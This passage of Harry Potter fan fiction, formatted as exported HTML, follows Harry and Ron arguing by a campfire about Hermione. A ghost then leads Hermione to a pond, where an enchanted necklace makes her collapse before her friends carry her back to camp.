style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nfelt his blood boil, he remembered those.&nbsp;\nWhy had Ron kept letters like that secret from him.&nbsp; She was his friend too, not just Ron&#8217;s. His\neyes narrowed as he recalled every little detail as if they had permanently\nseared themselves into his brain.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron\nsuppressed a hearty laugh &#8220;you don&#8217;t even have to answer that, I can see the\nanswer by the look on your face.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;He\nwas just using her.&#8221; Harry replied through forced tones.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\ndon&#8217;t know that, he could have truly been in love with her, or she wouldn&#8217;t\nhave&#8212;&#8221; Ron paused, keeping his grin hidden.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\npressed his fingers to his sinuses, he didn&#8217;t want to think about that\nanymore.&nbsp; &#8220;She didn&#8217;t do anything more, I\nread your so called letters from her.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;That&#8217;s\ntrue, and as soon as Hermione got back to school after break you told her that\nit was a bad idea to keep seeing this Italian guy, that this Carlo guy was only\nafter one thing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\nhe was.&#8221; Harry&#8217;s argument was weak and he knew it. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">That\nmay be true, but let&#8217;s face it Harry, us guys are always after that one thing.&#8221;\nRon thought a moment and then an idea popped into his head.&nbsp; &#8220;But what about Justin, he&#8217;s a nice guy, he\nwould never take advantage of Hermione like Carlo would have. You know that\nJustin had developed a little crush on her, and if I recall you told him to\nstay away from her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndidn&#8217;t tell him to stay away from her, I told him he should be cautious around\nher.&#8221; He lied, he did tell Justin to stay away from her. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nmy mistake.&#8221; Ron was sarcastic again, but smiling.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ron\nI&#8217;m just trying to protect her from unnecessary heartache, just like you\nwould.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;The\ndifference between you and me Harry, is I want her to go out and find whatever\nmakes her happy, I&#8217;m not trying to hold her down. Life is full of experiences,\nsome good some bad.&nbsp; And if you keep\nchasing off all the guys that find our Hermione slightly interesting, you are\ngoing to rob her of her life and her own experiences. Unless that&#8217;s what you&#8217;re\ntrying to do, keep her close so she won&#8217;t leave us. Or so that she won&#8217;t leave\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Wait\na minute you think I&#8217;m trying to keep her away from other guys?&#8221; Harry sounded\nastonished at his friend&#8217;s accusation.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Do\nyou want to know what I think?&#8221; Ron asked simply.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nknow I&#8217;m going to regret this, but what?&#8221; Harry looked at Ron suspiciously,\n&#8220;what do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nthink you&#8217;ve fallen for our dear friend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What!?&#8221;\nShouted Harry, then looked around cautiously and quieted down. &#8220;No, no I don&#8217;t\nthink so.&#8221; Seeing Ron gave him that yeah&#8212;whatever&#8212;look.&nbsp; &#8220;I have not.&#8221; It sounded more like he was\ntrying to convince himself.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nlooked past Harry and saw Ginny sticking her head out of the tent, &#8220;Can you\nguys keep it down, we are trying to sleep in here.&#8221; She shouted at her brother.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Sorry,&#8221;\nRon shouted back &#8220;we&#8217;ll try to keep it down.&#8221;&nbsp;\nAnd he smiled largely so his sister could see it.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nshook her head back and forth before sticking her head back inside the tent,\nshe looked down at Hermione who was still wide awake, her cheeks wet with\ntears. &#8220;Are you sure you don&#8217;t want to talk about it?&#8221; She was concerned</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nturned over on her side &#8220;I said I don&#8217;t want to talk about it Ginny,&#8221; her voice\ntrembling with grief.&nbsp; &#8220;And I&#8217;m not going\nto change my mind now go to sleep.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Sighing,\nGinny sat down on her sleeping bag &#8220;alright Hermione, good night.&#8221; Not hearing\na reply she turned over on her side laying there she stared out the tiny window\nof the tent, looking at the all the stars that had come out.&nbsp; Finally after awhile of staring her eyes\nstarted to fall, and she would have fallen asleep if it wasn&#8217;t for Hermione\nshaking her awake.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ginny\ndid you hear that?&#8221; Hermione whispered cautiously.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No,&#8221;\nGinny replied sleepily. &#8220;I didn&#8217;t hear anything.&#8221; She closed her eyes to sleep.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nlooked around the tent, it was dark except for the glow the fire gave from\noutside.&nbsp; She leaned back cautiously\npulling the sleeping bag up to her chin, grabbing the edge of it and holding it\ntightly in her hands. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Hermione&#8221;</i> the wind spoke lightly. Hearing this she shut her\neyes tightly wishing that voice would go away.&nbsp;\nThe wind blew through against the tent again. <i style="mso-bidi-font-style:\nnormal">&#8220;Hermione&#8221;</i> the wind spoke again, but in the same low voice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\ncouldn&#8217;t take it anymore, &#8220;leave me alone.&#8221; Hermione finally said in a terrified\nyet quiet voice, trying not to wake Ginny.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Hermione&#8221;</i> The wind spoke softly again.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Go\naway, please go away.&#8221; Hermione quietly pleaded feeling like she was going mad.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Hermione.&#8221;</i> The wind did not raise or lower it&#8217;s voice, just\nsimply said <i style="mso-bidi-font-style:normal">&#8220;Hermione.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Knowing\nthat the voice wasn&#8217;t going to go away, she would confront her madness, &#8220;what\ndo you want?&#8221; Her voice trembled in the question.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Come&#8221;</i> the wind finally spoke something different.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Feeling\na new twinge of fear she looked around wide eyed. &#8220;Come where?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Follow my voice.&#8221;</i> The voice was gentle.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nhesitated at first before she pulled the sleeping bag cover off of herself,\nrevealing her long legs, she stood slowly. Her hem of her nightshirt barely\ncovered her thighs, it was right along the edge of her back end. Very\ncautiously not to wake Ginny she went to the corner where she tossed her\nclothes and shoes. She bent and picked up her sandals slipping them over her\nfeet. She stood straight and very quietly unzipped the tent flap and stepped\nout.&nbsp; It was really dark and she wouldn&#8217;t\nbe able to see where she was going. Luckily there was a lantern just to the\nleft of her sitting on a log. Probably to lead the way to the loo, she picked\nup the lantern and looked around.&nbsp; She\ngulped down a breath of air &#8220;Where are you?&#8221; she asked quietly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Follow.&#8221; </i>The voice replied.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\ntook a really deep breath and started walking after a few minutes she stopped.\n&#8220;Now where?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;This way.&#8221;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\ncontinued in the direction of the voice for a little while she felt as if she\nweren&#8217;t getting anywhere and that this was some sort of a joke. Then she\nfinally reached another small pond, even in the dim light of her lantern she\ncould see all kinds of beautiful flowers decorating the bank of the pond, but\nwhat was more impressive that there was a small waterfall along the cliff that\nstretched far upward.&nbsp; Hermione looked up\nand found nightprism birds that shone like jewels in the faint moonlight.&nbsp; The birds swooped down and came to rest on\nsmall ledges that stuck out from behind the waterfall, giving the waterfall a\nkind of multicolored glow. There was a huge boulder that stood half way between\nthe bank and the middle of the pond.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nsaw something white flickering just above the water, it was trying to focus\ninto the shape of a person.&nbsp; Finally\nafter a few moments the figure was of an older but friendly looking woman.\nStill Hermione was afraid to do anything other than just stand there staring at\nthe apparition. She knew she shouldn&#8217;t be afraid of ghosts after all she went\nto a school where ghosts taught classes.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Come closer.&#8221;</i> The ghost asked with a gentle voice.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nslowly walked towards the boulder, setting the lantern down right next to the bank.&nbsp; She stepped out onto the boulder.&nbsp; &#8220;Wha&#8212;what do you want with me?&#8221; Hermione\nasked cautiously.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost smiled, &#8220;I didn&#8217;t mean to frighten you earlier child. I just wanted to\ntalk with you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\nwith me?&#8221; Hermione stared.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\nnot with you?&#8221; the ghost asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Because\nI&#8217;m nobody, what could you possibly want with a nobody like me?&#8221; She asked\nalmost sounding desperate.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Sometimes\na nobody as you call yourself can make a difference.&#8221; The ghost smiled.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nfind that hard to believe.&#8221; Hermione said quietly to herself.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nsee that you have a potential for greatness, I have been to the Elysium plains\nand back I have seen it all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8217;m\nafraid you are mistaken.&#8221; She sighed, &#8220;the people I came here with have a\npotential for greatness. Not me.&#8221; Hermione looked towards her feet.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;You\nremind me of someone I knew a long time ago, she always thought that she could\nnever do anything worthy of greatness.&#8221; The ghost replied floating around the\ntop of the water as if she were ice skating.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nyeah, who was that?&#8221; Hermione asked half serious, half not interested.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;My\ndaughter.&#8221; The ghost&#8217;s happy smile faded. &#8220;She was murdered.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8217;m\nsorry.&#8221; Hermione said sincerely.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost glanced around sadly, &#8220;She died at this very spot, it&#8217;s a shame that the\nmost beautiful place has the worst memory for me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nlooked around knowing that it was one of the most beautiful places she had ever\nseen and yet something tragic happened here. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;But\nyou shouldn&#8217;t worry about that now, that life has passed and there&#8217;s not\nanything that can be done.&nbsp; But yours,\nyour life is important and as soon as you figure that out everything will fall\ninto place.&#8221;&nbsp; The ghost replied looking\nup at the night sky looking as if she were thinking about something. &#8220;Can you\nstay here for a moment, I shall return. Just wait here for me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nnodded, and the ghost vanished right before her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Ginny&#8221;</i> A quiet voice said.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nsat straight up, looking around finding Hermione&#8217;s spot empty. She felt a cold\nwind rush through her. She turned and found the tent flap open. Hermione was\ngone.&nbsp; Where could she be?&nbsp; She stuck her head stepped out into the cool\nair she saw Ron and Harry still talking by the fire, he turned her wrist over\nand looked at her watch, it was only midnight, she hadn&#8217;t been asleep for very\nlong, but it sure seemed like a long time.&nbsp;\nShe ran across the grass closer to Ron and Harry.&nbsp; &#8220;Hey!&#8221; She shouted and both of them turned to\nlook at her. &#8220;Have you guys seen where Hermione went?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nstood, &#8220;no, why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nhugged herself &#8220;because she&#8217;s not in the tent.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;So\nmaybe she just went to use the loo?&#8221; Ron suggested.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\npointed to the loo area, &#8220;She didn&#8217;t because the loo is right there and the\nlantern is gone.&#8221;&nbsp; They all three stared at\neach other for a moment, &#8220;You don&#8217;t suppose something happened to her do you?&#8221;\nGinny finally asked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t think so, of course I wouldn&#8217;t go roaming around a strange place like\nthis by myself at night, would you?&#8221; Ron said nonchalantly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nand Ginny both stared at each other, &#8220;We have to find her, what if she&#8217;s hurt\nsomewhere?&#8221; Ginny sounded desperate.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nnodded, &#8220;alright.&#8221; He turned to Ron, &#8220;you stay here in case she comes back.\nGinny and I will go search for Hermione.&nbsp;\nShe couldn&#8217;t have gone far, there&#8217;s not much of this place to hide in.&#8221;\nHe sounded hopeful at least for Ginny&#8217;s sake anyway.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nnodded and Harry picked up another lantern and he and Ginny went to search for\ntheir lost friend.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost reappeared in front of Hermione, &#8220;it&#8217;s good to see that you waited for my\nreturn.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t see why I did?&nbsp; I should have just\nleft.&#8221;&nbsp; Hermione looked around &#8220;you\nprobably want to feed me to a horrible troll or something in order for you to\nget your flesh back.&#8221; Hermione was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost laughed a bit, &#8220;I would never.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Something\nsparkled caught Hermione&#8217;s eye, it was coming from the water.&nbsp; Feeling a sudden surge of curiosity, she went\ndown on her knees and looked into the water.&nbsp;\nAt first she only saw her reflection, but then again it wasn&#8217;t exactly\nher reflection. She saw a young woman in an 11th century gown\nlooking back at her wearing a necklace with a large opal resting just below her\nneck.&nbsp; The hand of the reflection was\ntouching the necklace lightly, feeling slightly confused the reflection faded\nand there was that same necklace resting on a rock, the silver around the opal\nand braided chain still sparkled as if it were brand new, surely it would have\nhad some kind of tarnish on it if it had been there that long.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Take\nit.&#8221; The ghost said.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I&#8212;I\ncouldn&#8217;t possibly.&#8221; Hermione couldn&#8217;t stop staring into the water.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\nnot?&#8221; The ghost searched Hermione&#8217;s bent frame. &#8220;You found it, why should you\nnot have it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It\ndoes not belong to me,&#8221; She looked up at the ghost, &#8220;I will not take something\nthat doesn&#8217;t belong to me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost smiled and nodded. &#8220;You have a keen sense of honesty, don&#8217;t you?&#8221; The\nghost floated closer to Hermione.&nbsp; &#8220;It&#8217;s\nalright Hermione, the owner would have wanted you to have it, trust me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nthought for a moment, she hadn&#8217;t really trusted any body lately.&nbsp; But then this wasn&#8217;t a body, it was a spirit.\nBut what if this was a test, what if the ghost was sent to tempt her and she\nwas suppose to resist and if she didn&#8217;t the consequences would be dire.&nbsp; She stared back down at the water, somehow\nthat necklace called to her.&nbsp; Without a\nsecond thought she plunged her hand down into the water, grabbing the necklace\nin her hand, holding it tightly pulling it from its watery grave.&nbsp; She waited for the eternal doom that she knew\nwas coming, but nothing happened. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nopened her hand and found the necklace sparkling even more, she looked up at\nthe ghost who was obviously beaming with pride. &#8220;Why don&#8217;t you put it on?&#8221; The\nghost suggested.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nnecklace was pretty and what was interesting that it wasn&#8217;t very heavy in her\nhand, well she had gone this far, if eternal doom was right around the corner,\nshe would face it wearing a mighty beautiful piece of jewelry.&nbsp; Hermione unclasped the ends, but the ghost\nstopped her a moment. &#8220;I think you should know that this isn&#8217;t an ordinary\npiece of jewelry, you might experience a sudden power surge when you fasten it\naround your neck. Just don&#8217;t be afraid it&#8217;s perfectly normal.&#8221; The ghost said\nwith confidence.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\ntilted her head to the side still holding the necklace ends around her neck,\n&#8220;is it going to hurt me?&#8221; suspicion now wrung through her voice and the ghost\nheard and felt it in Hermione&#8217;s tone.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\npossible that you might pass out for a day or two, oh one more thing there&#8217;s\nonly certain people who can remove it. You being one of them.&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What?\nI&#8217;m going to pass out?&nbsp; Were you just\ngoing to leave me here after I had passed out for some really horrible thing to\ncome along and eat me?&#8221; she was furious</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;No\nI have thought ahead child, I alerted one of your companions. And she should be\nhere momentarily to take you back where you belong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;How\ndo I know this thing isn&#8217;t going to kill me?&#8221; she still held the necklace\nshaking it at the ghost.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Just\ntrust me Hermione, I know you haven&#8217;t put a lot of trust in people lately.\nYou&#8217;re heart had been stomped on by a really close friend. But when is it going\nto end, it has to end somewhere Hermione. When are you going to start allowing\nthe people and beings that want to help you, to help you, are you now and\nforever going to keep pushing people away?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Her\nwords were very wise and very right, she had been pushing people away.&nbsp; But she just couldn&#8217;t trust herself, let\nalone other people anymore.&nbsp; Yet she gave\ninto the words of the spirit and fastened the clasp behind her neck.&nbsp; The feelings of hot fire ran through her\nalmost instantly, she could feel the energy in every muscle, every pour.&nbsp; Feeling her eyes roll back she immediately\ncollapsed on the boulder, breathing steadily and unaware of anything around\nher.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\nghost bent down and pressed a kiss to Hermione&#8217;s forehead and smoothed her hair\naway from her face. &#8220;Good luck child, may you succeed in all you do.&#8221;&nbsp; The ghost elevated Hermione and pointed to a\nsoft spot on the grass and set her gently on it. She smiled then looked up\nseeing a lantern light heading this way. She disappeared into the\ndarkness.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">A\nsecond later Ginny and Harry came around the corner, they were both shouting\nher name.&nbsp; They both looked around and\nthen Ginny patted Harry&#8217;s arm really hard.&nbsp;\n&#8220;Oh my goodness, is she dead?&#8221; Ginny panicked.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">They\nboth knelt quickly next to her, Harry lightly shook her to see if she would\nwake up, but nothing. He took her pulse, it was beating but lightly. He lifted\nher eye lids, nodding. &#8220;No, she&#8217;s not dead. Passed out though. I wonder what\ncaused it.&#8221; He looked around for signs of a struggle or anything that could\ngive him any clues.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\nI want to know is what is she doing all the way out here?&#8221; Ginny looked up at\nthe waterfall. &#8220;Although this is a nice place.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nnodded, not really paying attention to the surroundings.&nbsp; He was concentrating on figuring out what\ncaused Hermione to pass out.&nbsp; <i style="mso-bidi-font-style:normal">What&#8217;s this?</i> He thought looking down at\nthe necklace she was wearing. He hadn&#8217;t noticed this before. <i style="mso-bidi-font-style:normal">Oh well</i>. &#8220;Ginny take her lantern.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nnodded and took Hermione&#8217;s lantern, she stood and watched as Harry easily lift\nHermione as if she weighed nothing at all. And they started back to the\ncampsite.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">***</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\npaced back and forth, thinking that it was his fault that Hermione had run off\nin the night. And if something had happened to her he would never forgive\nhimself.&nbsp; If Hermione came back alive, he\nwould apologize to her for everything.&nbsp;\nHe then looked up and saw two lanterns heading his way, Ginny was\nwalking next to Harry as he was holding a body in his arms. <i style="mso-bidi-font-style:normal">Oh no something horrible happened to her</i>.&nbsp; He immediately thought.&nbsp; He broke out into a run towards them. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nsaw the worried look on Ron&#8217;s face, &#8220;don&#8217;t worry Ron, I don&#8217;t think anything\nseriously is wrong with her, she&#8217;s just passed out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\na relief,&#8221; Ron admitted. &#8220;When I saw you carrying her I immediately thought the\nworst.&nbsp; Now I can go to bed with a clear\nconscious.&#8221; He 